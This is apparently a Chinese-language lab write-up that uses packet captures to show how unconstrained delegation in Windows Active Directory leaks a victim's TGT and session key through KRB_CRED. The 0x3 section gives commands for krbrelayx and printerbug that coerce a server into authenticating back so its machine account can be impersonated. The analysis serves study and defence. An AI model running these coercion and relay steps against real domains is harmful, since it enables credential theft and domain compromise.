references:
0x1 前言
约定：
- c-d-skey表示client与dc（kdc）TGS阶段用于加密通信的session key
- c-s-skey表示client与应用服务器（Application Server）在AP阶段用于加密通信的session key
之前我们介绍过Windows AD中非约束委派的利用过程和原理，但是并没有去真正抓包分析过
我们都知道仅仅拥有TGT票据而没有c-d-skey是没办法创建合法的authenticator的，也就无法构造出合法的TGS-REQ来申请服务票据
那么在非约束委派攻击中，我们的恶意服务器是如何收到c-d-skey的呢？下面我们就来抓包分析一下
0x2 攻击流程
这里再稍微提一下整个的攻击流程
- 域内的用户A在访问由非约束委派账户B运行的服务S
- 向KDC请求服务票据
- KDC在判断要请求的服务S为非约束委派账户B运行的服务之后会向用户A返回带有用户A的TGT的票据
- 该票据由服务账户也就是非约束委派账户B的hash进行加密
- 用户A向其请求的服务器发送带有其TGT的服务票据
- 服务器拿到后使用服务账户B解密即可获得用户A的TGT
可以看到，在上面的攻击流程中，只提到恶意服务器解密数据包之后获得TGT，但是并没有说如何获取c-d-skey
以下是具体的抓包分析过程
环境搭建参考我之前的文章
0x3 抓包
搭建好环境之后，启动krbrelayx
python krbrelayx.py -p "qwe123..." -s MOTHER.FUCKERohyeah
你可以直接在windows上运行这个脚本，禁用445端口的方法参考这里
然后使用printerbug触发目标服务器回连
python printerbug.py MOTHER.FUCKER/ohyeah:"qwe123..."@192.168.216.133 whatthefuck.mother.fucker
wireshark使用tcp.port==445过滤条件抓包
和之前的一样，krb数据包封装在SPNEGO数据包中
ticket为目标服务器先前缓存的cifs/whatthefuck.mother.fucker票据
这个票据是目标服务器在向我们的恶意服务器发起请求之前向KDC申请的，因此我们这里的wireshark抓包是看不到这一过程的
不过并不影响我们分析非约束委派攻击过程中的数据包
在本例中，恶意服务器能够解密目标服务器发送过来的ticket（由我们控制的账户hash加密），从而获取到用于解密authenticator字段的session key（c-s-skey）
获取到c-s-skey之后，解密authenticator字段
我们中点关注cksum字段
根据RFC 4121中4.1.1. Authenticator Checksum章节中的描述
cksum结构如下
可以看到flags字段中Deleg标志位是启用的，表明需要将凭据信息委派给远程主机
在启用了委派的情况下，TGT票据需要封装在KRB_CRED消息中
KRB_CRED消息是专门设计用来发送Kerberos凭据信息的，它里面封装的是票据以及加密的session key（c-d-skey）
下面是KRB_CRED消息以及解密后的enc-part字段
从ticket字段中的sname字段也可以看出来该票据是TGT票据
enc-part字段中包含c-d-skey，就是KrbCredInfo中的key字段
现在我们既拥有了WIN-37U50GQO8KT$账户的TGT票据，又拥有c-d-skey，就可以冒充该用户申请任意服务票据了
0x4 结语
有时候很多看起来想当然的问题，如果你深究一下，就会发掘出更多隐藏的细节
上面说了那么多，无非就是想说单独一个Kerberos票据并没有太大的作用（除了用来爆破——Kerberoasting）
只有有了对应的session key才能真正地将票据利用起来